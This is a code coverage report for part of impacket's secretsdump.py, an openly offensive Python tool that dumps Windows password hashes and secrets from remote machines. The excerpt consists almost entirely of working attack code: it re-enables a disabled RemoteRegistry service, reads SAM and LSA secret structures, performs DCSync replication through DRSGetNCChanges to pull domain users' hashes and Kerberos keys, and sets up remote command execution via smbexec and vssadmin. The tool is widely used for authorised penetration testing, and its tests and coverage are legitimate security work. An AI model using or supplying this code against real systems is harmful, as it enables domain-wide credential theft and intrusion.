Coverage for /root/GitHubProjects/impacket/impacket/examples/secretsdump.py: 62%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/secretsdump.py : 62%

## 1674 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# Description: Performs various techniques to dump hashes from the

8# remote machine without executing any agent there.

9# For SAM and LSA Secrets (including cached creds)

10# we try to read as much as we can from the registry

11# and then we save the hives in the target system

12# (%SYSTEMROOT%\\Temp dir) and read the rest of the

13# data from there.

14# For NTDS.dit we either:

15# a. Get the domain users list and get its hashes

16# and Kerberos keys using [MS-DRDS] DRSGetNCChanges()

17# call, replicating just the attributes we need.

18# b. Extract NTDS.dit via vssadmin executed with the

19# smbexec approach.

20# It's copied on the temp dir and parsed remotely.

21#

22# The script initiates the services required for its working

23# if they are not available (e.g. Remote Registry, even if it is

24# disabled). After the work is done, things are restored to the

25# original state.

26#

27# Author:

28# Alberto Solino (@agsolino)

29#

30# References: Most of the work done by these guys. I just put all

31# the pieces together, plus some extra magic.

32#

33# https://github.com/gentilkiwi/kekeo/tree/master/dcsync

34# https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html

35# https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html

36# https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html

37# https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13

38# https://code.google.com/p/creddump/

39# https://lab.mediaservice.net/code/cachedump.rb

40# https://insecurety.net/?p=768

41# http://www.beginningtoseethelight.org/ntsecurity/index.htm

42# https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf

43# https://www.passcape.com/index.php?section=blog&cmd=details&id=15

44#

45 from __future__ import division

46 from __future__ import print_function

47 import codecs

48 import hashlib

49 import logging

50 import ntpath

51 import os

52 import random

53 import string

54 import time

55 from binascii import unhexlify, hexlify

56 from collections import OrderedDict

57 from datetime import datetime

58 from struct import unpack, pack

59 from six import b, PY2

60

61 from impacket import LOG

62 from impacket import system_errors

63 from impacket import winregistry, ntlm

64 from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi

65 from impacket.dcerpc.v5.dtypes import NULL

66 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE

67 from impacket.dcerpc.v5.dcom import wmi

68 from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \

69 VARIANT, VARENUM, DISPATCH_METHOD

70 from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \

71 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \

72 IRemUnknown2, INTERFACE

73 from impacket.ese import ESENT_DB

74 from impacket.dpapi import DPAPI_SYSTEM

75 from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ

76 from impacket.nt_errors import STATUS_MORE_ENTRIES

77 from impacket.structure import Structure

78 from impacket.structure import hexdump

79 from impacket.uuid import string_to_bin

80 from impacket.crypto import transformKey

81 from impacket.krb5 import constants

82 from impacket.krb5.crypto import string_to_key

83 try:

84 from Cryptodome.Cipher import DES, ARC4, AES

85 from Cryptodome.Hash import HMAC, MD4, MD5

86 except ImportError:

87 LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")

88 LOG.critical("See https://pypi.org/project/pycryptodomex/")

89

90

91# Structures

92# Taken from https://insecurety.net/?p=768

93 class SAM_KEY_DATA(Structure):

94 structure = (

95 ('Revision','<L=0'),

96 ('Length','<L=0'),

97 ('Salt','16s=b""'),

98 ('Key','16s=b""'),

99 ('CheckSum','16s=b""'),

100 ('Reserved','<Q=0'),

101 )

102

103# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/CoreSecurity/impacket/issues/326

104# Merci! Makes it way easier than parsing manually.

105 class SAM_HASH(Structure):

106 structure = (

107 ('PekID','<H=0'),

108 ('Revision','<H=0'),

109 ('Hash','16s=b""'),

110 )

111

112 class SAM_KEY_DATA_AES(Structure):

113 structure = (

114 ('Revision','<L=0'),

115 ('Length','<L=0'),

116 ('CheckSumLen','<L=0'),

117 ('DataLen','<L=0'),

118 ('Salt','16s=b""'),

119 ('Data',':'),

120 )

121

122 class SAM_HASH_AES(Structure):

123 structure = (

124 ('PekID','<H=0'),

125 ('Revision','<H=0'),

126 ('DataOffset','<L=0'),

127 ('Salt','16s=b""'),

128 ('Hash',':'),

129 )

130

131 class DOMAIN_ACCOUNT_F(Structure):

132 structure = (

133 ('Revision','<L=0'),

134 ('Unknown','<L=0'),

135 ('CreationTime','<Q=0'),

136 ('DomainModifiedCount','<Q=0'),

137 ('MaxPasswordAge','<Q=0'),

138 ('MinPasswordAge','<Q=0'),

139 ('ForceLogoff','<Q=0'),

140 ('LockoutDuration','<Q=0'),

141 ('LockoutObservationWindow','<Q=0'),

142 ('ModifiedCountAtLastPromotion','<Q=0'),

143 ('NextRid','<L=0'),

144 ('PasswordProperties','<L=0'),

145 ('MinPasswordLength','<H=0'),

146 ('PasswordHistoryLength','<H=0'),

147 ('LockoutThreshold','<H=0'),

148 ('Unknown2','<H=0'),

149 ('ServerState','<L=0'),

150 ('ServerRole','<H=0'),

151 ('UasCompatibilityRequired','<H=0'),

152 ('Unknown3','<Q=0'),

153 ('Key0',':'),

154# Commenting this, not needed and not present on Windows 2000 SP0

155# ('Key1',':', SAM_KEY_DATA),

156# ('Unknown4','<L=0'),

157 )

158

159# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm

160 class USER_ACCOUNT_V(Structure):

161 structure = (

162 ('Unknown','12s=b""'),

163 ('NameOffset','<L=0'),

164 ('NameLength','<L=0'),

165 ('Unknown2','<L=0'),

166 ('FullNameOffset','<L=0'),

167 ('FullNameLength','<L=0'),

168 ('Unknown3','<L=0'),

169 ('CommentOffset','<L=0'),

170 ('CommentLength','<L=0'),

171 ('Unknown3','<L=0'),

172 ('UserCommentOffset','<L=0'),

173 ('UserCommentLength','<L=0'),

174 ('Unknown4','<L=0'),

175 ('Unknown5','12s=b""'),

176 ('HomeDirOffset','<L=0'),

177 ('HomeDirLength','<L=0'),

178 ('Unknown6','<L=0'),

179 ('HomeDirConnectOffset','<L=0'),

180 ('HomeDirConnectLength','<L=0'),

181 ('Unknown7','<L=0'),

182 ('ScriptPathOffset','<L=0'),

183 ('ScriptPathLength','<L=0'),

184 ('Unknown8','<L=0'),

185 ('ProfilePathOffset','<L=0'),

186 ('ProfilePathLength','<L=0'),

187 ('Unknown9','<L=0'),

188 ('WorkstationsOffset','<L=0'),

189 ('WorkstationsLength','<L=0'),

190 ('Unknown10','<L=0'),

191 ('HoursAllowedOffset','<L=0'),

192 ('HoursAllowedLength','<L=0'),

193 ('Unknown11','<L=0'),

194 ('Unknown12','12s=b""'),

195 ('LMHashOffset','<L=0'),

196 ('LMHashLength','<L=0'),

197 ('Unknown13','<L=0'),

198 ('NTHashOffset','<L=0'),

199 ('NTHashLength','<L=0'),

200 ('Unknown14','<L=0'),

201 ('Unknown15','24s=b""'),

202 ('Data',':=b""'),

203 )

204

205 class NL_RECORD(Structure):

206 structure = (

207 ('UserLength','<H=0'),

208 ('DomainNameLength','<H=0'),

209 ('EffectiveNameLength','<H=0'),

210 ('FullNameLength','<H=0'),

211# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265

212 ('LogonScriptName','<H=0'),

213 ('ProfilePathLength','<H=0'),

214 ('HomeDirectoryLength','<H=0'),

215 ('HomeDirectoryDriveLength','<H=0'),

216 ('UserId','<L=0'),

217 ('PrimaryGroupId','<L=0'),

218 ('GroupCount','<L=0'),

219 ('logonDomainNameLength','<H=0'),

220 ('unk0','<H=0'),

221 ('LastWrite','<Q=0'),

222 ('Revision','<L=0'),

223 ('SidCount','<L=0'),

224 ('Flags','<L=0'),

225 ('unk1','<L=0'),

226 ('LogonPackageLength','<L=0'),

227 ('DnsDomainNameLength','<H=0'),

228 ('UPN','<H=0'),

229 # ('MetaData','52s=""'),

230 # ('FullDomainLength','<H=0'),

231 # ('Length2','<H=0'),

232 ('IV','16s=b""'),

233 ('CH','16s=b""'),

234 ('EncryptedData',':'),

235 )

236

237

238 class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):

239 structure = (

240 ('Value','6s'),

241 )

242

243 class SAMR_RPC_SID(Structure):

244 structure = (

245 ('Revision','<B'),

246 ('SubAuthorityCount','<B'),

247 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),

248 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),

249 ('SubAuthority',':'),

250 )

251

252 def formatCanonical(self):

253 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))

254 for i in range(self['SubAuthorityCount']):

255 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4: i*4+4])[0])

256 return ans

257

258 class LSA_SECRET_BLOB(Structure):

259 structure = (

260 ('Length','<L=0'),

261 ('Unknown','12s=b""'),

262 ('_Secret','_-Secret','self["Length"]'),

263 ('Secret',':'),

264 ('Remaining',':'),

265 )

266

267 class LSA_SECRET(Structure):

268 structure = (

269 ('Version','<L=0'),

270 ('EncKeyID','16s=b""'),

271 ('EncAlgorithm','<L=0'),

272 ('Flags','<L=0'),

273 ('EncryptedData',':'),

274 )

275

276 class LSA_SECRET_XP(Structure):

277 structure = (

278 ('Length','<L=0'),

279 ('Version','<L=0'),

280 ('_Secret','_-Secret', 'self["Length"]'),

281 ('Secret', ':'),

282 )

283

284

285# Helper to create files for exporting

286 def openFile(fileName, mode='w+', openFileFunc=None):

287 if openFileFunc is not None:

288 return openFileFunc(fileName, mode)

289 else:

290 return codecs.open(fileName, mode, encoding='utf-8')

291

292

293# Classes

294 class RemoteFile:

295 def __init__(self, smbConnection, fileName):

296 self.__smbConnection = smbConnection

297 self.__fileName = fileName

298 self.__tid = self.__smbConnection.connectTree('ADMIN$')

299 self.__fid = None

300 self.__currentOffset = 0

301

302 def open(self):

303 tries = 0

304 while True:

305 try:

306 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,

307 shareMode=FILE_SHARE_READ)

308 except Exception as e:

309 if str(e).find('STATUS_SHARING_VIOLATION') >=0:

310 if tries >= 3:

311 raise e

312 # Stuff didn't finish yet.. wait more

313 time.sleep(5)

314 tries += 1

315 pass

316 else:

317 raise e

318 else:

319 break

320

321 def seek(self, offset, whence):

322 # Implement whence, for now it's always from the beginning of the file

323 if whence == 0:

324 self.__currentOffset = offset

325

326 def read(self, bytesToRead):

327 if bytesToRead > 0:

328 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)

329 self.__currentOffset += len(data)

330 return data

331 return b''

332

333 def close(self):

334 if self.__fid is not None:

335 self.__smbConnection.closeFile(self.__tid, self.__fid)

336 self.__smbConnection.deleteFile('ADMIN$', self.__fileName)

337 self.__fid = None

338

339 def tell(self):

340 return self.__currentOffset

341

342 def __str__(self):

343 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)

344

345 class RemoteOperations:

346 def __init__(self, smbConnection, doKerberos, kdcHost=None):

347 self.__smbConnection = smbConnection

348 if self.__smbConnection is not None: 348 ↛ 350line 348 didn't jump to line 350, because the condition on line 348 was never false

349 self.__smbConnection.setTimeout(5*60)

350 self.__serviceName = 'RemoteRegistry'

351 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'

352 self.__rrp = None

353 self.__regHandle = None

354

355 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'

356 self.__samr = None

357 self.__domainHandle = None

358 self.__domainName = None

359 self.__domainSid = None

360

361 self.__drsr = None

362 self.__hDrs = None

363 self.__NtdsDsaObjectGuid = None

364 self.__ppartialAttrSet = None

365 self.__prefixTable = []

366 self.__doKerberos = doKerberos

367 self.__kdcHost = kdcHost

368

369 self.__bootKey = b''

370 self.__disabled = False

371 self.__shouldStop = False

372 self.__started = False

373

374 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'

375 self.__scmr = None

376 self.__tmpServiceName = None

377 self.__serviceDeleted = False

378

379 self.__batchFile = '%TEMP%\\execute.bat'

380 self.__shell = '%COMSPEC% /Q /c '

381 self.__output = '%SYSTEMROOT%\\Temp\\__output'

382 self.__answerTMP = b''

383

384 self.__execMethod = 'smbexec'

385

386 def setExecMethod(self, method):

387 self.__execMethod = method

388

389 def __connectSvcCtl(self):

390 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)

391 rpc.set_smb_connection(self.__smbConnection)

392 self.__scmr = rpc.get_dce_rpc()

393 self.__scmr.connect()

394 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

395

396 def __connectWinReg(self):

397 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)

398 rpc.set_smb_connection(self.__smbConnection)

399 self.__rrp = rpc.get_dce_rpc()

400 self.__rrp.connect()

401 self.__rrp.bind(rrp.MSRPC_UUID_RRP)

402

403 def connectSamr(self, domain):

404 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)

405 rpc.set_smb_connection(self.__smbConnection)

406 self.__samr = rpc.get_dce_rpc()

407 self.__samr.connect()

408 self.__samr.bind(samr.MSRPC_UUID_SAMR)

409 resp = samr.hSamrConnect(self.__samr)

410 serverHandle = resp['ServerHandle']

411

412 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)

413 self.__domainSid = resp['DomainId'].formatCanonical()

414

415 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])

416 self.__domainHandle = resp['DomainHandle']

417 self.__domainName = domain

418

419 def __connectDrds(self):

420 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,

421 protocol='ncacn_ip_tcp')

422 rpc = transport.DCERPCTransportFactory(stringBinding)

423 rpc.setRemoteHost(self.__smbConnection.getRemoteHost())

424 rpc.setRemoteName(self.__smbConnection.getRemoteName())

425 if hasattr(rpc, 'set_credentials'): 425 ↛ 429line 425 didn't jump to line 429, because the condition on line 425 was never false

426 # This method exists only for selected protocol sequences.

427 rpc.set_credentials(*(self.__smbConnection.getCredentials()))

428 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)

429 self.__drsr = rpc.get_dce_rpc()

430 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)

431 if self.__doKerberos: 431 ↛ 432line 431 didn't jump to line 432, because the condition on line 431 was never true

432 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)

433 self.__drsr.connect()

434 # Uncomment these lines if you want to play some tricks

435 # This will make the dump way slower tho.

436 #self.__drsr.bind(samr.MSRPC_UUID_SAMR)

437 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)

438 #self.__drsr.set_max_fragment_size(1)

439 # And Comment this line

440 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)

441

442 if self.__domainName is None: 442 ↛ 444line 442 didn't jump to line 444, because the condition on line 442 was never true

443 # Get domain name from credentials cached

444 self.__domainName = rpc.get_credentials()[2]

445

446 request = drsuapi.DRSBind()

447 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID

448 drs = drsuapi.DRS_EXTENSIONS_INT()

449 drs['cb'] = len(drs) #- 4

450 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \

451 drsuapi.DRS_EXT_STRONG_ENCRYPTION

452 drs['SiteObjGuid'] = drsuapi.NULLGUID

453 drs['Pid'] = 0

454 drs['dwReplEpoch'] = 0

455 drs['dwFlagsExt'] = 0

456 drs['ConfigObjGUID'] = drsuapi.NULLGUID

457 # I'm uber potential (c) Ben

458 drs['dwExtCaps'] = 0xffffffff

459 request['pextClient']['cb'] = len(drs)

460 request['pextClient']['rgb'] = list(drs.getData())

461 resp = self.__drsr.request(request)

462 if LOG.level == logging.DEBUG: 462 ↛ 463line 462 didn't jump to line 463, because the condition on line 462 was never true

463 LOG.debug('DRSBind() answer')

464 resp.dump()

465

466 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of

467 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.

468 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

469

470 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.

471 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (

472 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])

473 drsExtensionsInt.fromString(ppextServer)

474

475 if drsExtensionsInt['dwReplEpoch'] != 0: 475 ↛ 477line 475 didn't jump to line 477, because the condition on line 475 was never true

476 # Different epoch, we have to call DRSBind again

477 if LOG.level == logging.DEBUG:

478 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[

479 'dwReplEpoch'])

480 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']

481 request['pextClient']['cb'] = len(drs)

482 request['pextClient']['rgb'] = list(drs.getData())

483 resp = self.__drsr.request(request)

484

485 self.__hDrs = resp['phDrs']

486

487 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges

488 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)

489 if LOG.level == logging.DEBUG: 489 ↛ 490line 489 didn't jump to line 490, because the condition on line 489 was never true

490 LOG.debug('DRSDomainControllerInfo() answer')

491 resp.dump()

492

493 if resp['pmsgOut']['V2']['cItems'] > 0: 493 ↛ 496line 493 didn't jump to line 496, because the condition on line 493 was never false

494 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']

495 else:

496 LOG.error("Couldn't get DC info for domain %s" % self.__domainName)

497 raise Exception('Fatal, aborting')

498

499 def getDrsr(self):

500 return self.__drsr

501

502 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,

503 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):

504 if self.__drsr is None:

505 self.__connectDrds()

506

507 LOG.debug('Calling DRSCrackNames for %s ' % name)

508 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))

509 return resp

510

511 def DRSGetNCChanges(self, userEntry):

512 if self.__drsr is None: 512 ↛ 513line 512 didn't jump to line 513, because the condition on line 512 was never true

513 self.__connectDrds()

514

515 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry)

516 request = drsuapi.DRSGetNCChanges()

517 request['hDrs'] = self.__hDrs

518 request['dwInVersion'] = 8

519

520 request['pmsgIn']['tag'] = 8

521 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid

522 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

523

524 dsName = drsuapi.DSNAME()

525 dsName['SidLen'] = 0

526 dsName['Guid'] = string_to_bin(userEntry[1:-1])

527 dsName['Sid'] = ''

528 dsName['NameLen'] = 0

529 dsName['StringName'] = ('\x00')

530

531 dsName['structLen'] = len(dsName.getData())

532

533 request['pmsgIn']['V8']['pNC'] = dsName

534

535 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0

536 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0

537

538 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL

539

540 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP

541 request['pmsgIn']['V8']['cMaxObjects'] = 1

542 request['pmsgIn']['V8']['cMaxBytes'] = 0

543 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ

544 if self.__ppartialAttrSet is None:

545 self.__prefixTable = []

546 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT()

547 self.__ppartialAttrSet['dwVersion'] = 1

548 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID)

549 for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()):

550 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId))

551 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet

552 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable)

553 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable

554 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL

555

556 return self.__drsr.request(request)

557

558 def getDomainUsers(self, enumerationContext=0):

559 if self.__samr is None: 559 ↛ 560line 559 didn't jump to line 560, because the condition on line 559 was never true

560 self.connectSamr(self.getMachineNameAndDomain()[1])

561

562 try:

563 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,

564 userAccountControl=samr.USER_NORMAL_ACCOUNT | \

565 samr.USER_WORKSTATION_TRUST_ACCOUNT | \

566 samr.USER_SERVER_TRUST_ACCOUNT |\

567 samr.USER_INTERDOMAIN_TRUST_ACCOUNT,

568 enumerationContext=enumerationContext)

569 except DCERPCException as e:

570 if str(e).find('STATUS_MORE_ENTRIES') < 0:

571 raise

572 resp = e.get_packet()

573 return resp

574

575 def getDomainSid(self):

576 if self.__domainSid is not None: 576 ↛ 579line 576 didn't jump to line 579, because the condition on line 576 was never false

577 return self.__domainSid

578

579 if self.__samr is None:

580 self.connectSamr(self.getMachineNameAndDomain()[1])

581

582 return self.__domainSid

583

584 def getMachineKerberosSalt(self):

585 """

586 Returns Kerberos salt for the current connection if

587 we have the correct information

588 """

589 if self.__smbConnection.getServerName() == '': 589 ↛ 592line 589 didn't jump to line 592, because the condition on line 589 was never true

590 # Todo: figure out an RPC call that gives us the domain FQDN

591 # instead of the NETBIOS name as NetrWkstaGetInfo does

592 return b''

593 else:

594 host = self.__smbConnection.getServerName()

595 domain = self.__smbConnection.getServerDNSDomainName()

596 salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8'))

597 return salt

598

599 def getMachineNameAndDomain(self):

600 if self.__smbConnection.getServerName() == '': 600 ↛ 604line 600 didn't jump to line 604, because the condition on line 600 was never true

601 # No serverName.. this is either because we're doing Kerberos

602 # or not receiving that data during the login process.

603 # Let's try getting it through RPC

604 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')

605 rpc.set_smb_connection(self.__smbConnection)

606 dce = rpc.get_dce_rpc()

607 dce.connect()

608 dce.bind(wkst.MSRPC_UUID_WKST)

609 resp = wkst.hNetrWkstaGetInfo(dce, 100)

610 dce.disconnect()

611 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][

612 'wki100_langroup'][:-1]

613 else:

614 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()

615

616 def getDefaultLoginAccount(self):

617 try:

618 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')

619 keyHandle = ans['phkResult']

620 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')

621 username = dataValue[:-1]

622 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')

623 domain = dataValue[:-1]

624 rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

625 if len(domain) > 0: 625 ↛ 628line 625 didn't jump to line 628, because the condition on line 625 was never false

626 return '%s\\%s' % (domain,username)

627 else:

628 return username

629 except:

630 return None

631

632 def getServiceAccount(self, serviceName):

633 try:

634 # Open the service

635 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)

636 serviceHandle = ans['lpServiceHandle']

637 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)

638 account = resp['lpServiceConfig']['lpServiceStartName'][:-1]

639 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)

640 if account.startswith('.\\'): 640 ↛ 641line 640 didn't jump to line 641, because the condition on line 640 was never true

641 account = account[2:]

642 return account

643 except Exception as e:

644 # Don't log if history service is not found, that should be normal

645 if serviceName.endswith("_history") is False:

646 LOG.error(e)

647 return None

648

649 def __checkServiceStatus(self):

650 # Open SC Manager

651 ans = scmr.hROpenSCManagerW(self.__scmr)

652 self.__scManagerHandle = ans['lpScHandle']

653 # Now let's open the service

654 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)

655 self.__serviceHandle = ans['lpServiceHandle']

656 # Let's check its status

657 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)

658 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 658 ↛ 659line 658 didn't jump to line 659, because the condition on line 658 was never true

659 LOG.info('Service %s is in stopped state'% self.__serviceName)

660 self.__shouldStop = True

661 self.__started = False

662 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 662 ↛ 667line 662 didn't jump to line 667, because the condition on line 662 was never false

663 LOG.debug('Service %s is already running'% self.__serviceName)

664 self.__shouldStop = False

665 self.__started = True

666 else:

667 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])

668

669 # Let's check its configuration if service is stopped, maybe it's disabled :s

670 if self.__started is False: 670 ↛ 671line 670 didn't jump to line 671, because the condition on line 670 was never true

671 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)

672 if ans['lpServiceConfig']['dwStartType'] == 0x4:

673 LOG.info('Service %s is disabled, enabling it'% self.__serviceName)

674 self.__disabled = True

675 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)

676 LOG.info('Starting service %s' % self.__serviceName)

677 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)

678 time.sleep(1)

679

680 def enableRegistry(self):

681 self.__connectSvcCtl()

682 self.__checkServiceStatus()

683 self.__connectWinReg()

684

685 def __restore(self):

686 # First of all stop the service if it was originally stopped

687 if self.__shouldStop is True: 687 ↛ 688line 687 didn't jump to line 688, because the condition on line 687 was never true

688 LOG.info('Stopping service %s' % self.__serviceName)

689 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)

690 if self.__disabled is True: 690 ↛ 691line 690 didn't jump to line 691, because the condition on line 690 was never true

691 LOG.info('Restoring the disabled state for service %s' % self.__serviceName)

692 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)

693 if self.__serviceDeleted is False and self.__tmpServiceName is not None: 693 ↛ 696line 693 didn't jump to line 696, because the condition on line 693 was never true

694 # Check again the service we created does not exist, starting a new connection

695 # Why?.. Hitting CTRL+C might break the whole existing DCE connection

696 try:

697 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())

698 if hasattr(rpc, 'set_credentials'):

699 # This method exists only for selected protocol sequences.

700 rpc.set_credentials(*self.__smbConnection.getCredentials())

701 rpc.set_kerberos(self.__doKerberos, self.__kdcHost)

702 self.__scmr = rpc.get_dce_rpc()

703 self.__scmr.connect()

704 self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

705 # Open SC Manager

706 ans = scmr.hROpenSCManagerW(self.__scmr)

707 self.__scManagerHandle = ans['lpScHandle']

708 # Now let's open the service

709 resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)

710 service = resp['lpServiceHandle']

711 scmr.hRDeleteService(self.__scmr, service)

712 scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)

713 scmr.hRCloseServiceHandle(self.__scmr, service)

714 scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)

715 scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)

716 rpc.disconnect()

717 except Exception as e:

718 # If service is stopped it'll trigger an exception

719 # If service does not exist it'll trigger an exception

720 # So. we just wanna be sure we delete it, no need to

721 # show this exception message

722 pass

723

724 def finish(self):

725 self.__restore()

726 if self.__rrp is not None:

727 self.__rrp.disconnect()

728 if self.__drsr is not None:

729 self.__drsr.disconnect()

730 if self.__samr is not None:

731 self.__samr.disconnect()

732 if self.__scmr is not None:

733 try:

734 self.__scmr.disconnect()

735 except Exception as e:

736 if str(e).find('STATUS_INVALID_PARAMETER') >=0:

737 pass

738 else:

739 raise

740

741 def getBootKey(self):

742 bootKey = b''

743 ans = rrp.hOpenLocalMachine(self.__rrp)

744 self.__regHandle = ans['phKey']

745 for key in ['JD','Skew1','GBG','Data']:

746 LOG.debug('Retrieving class info for %s'% key)

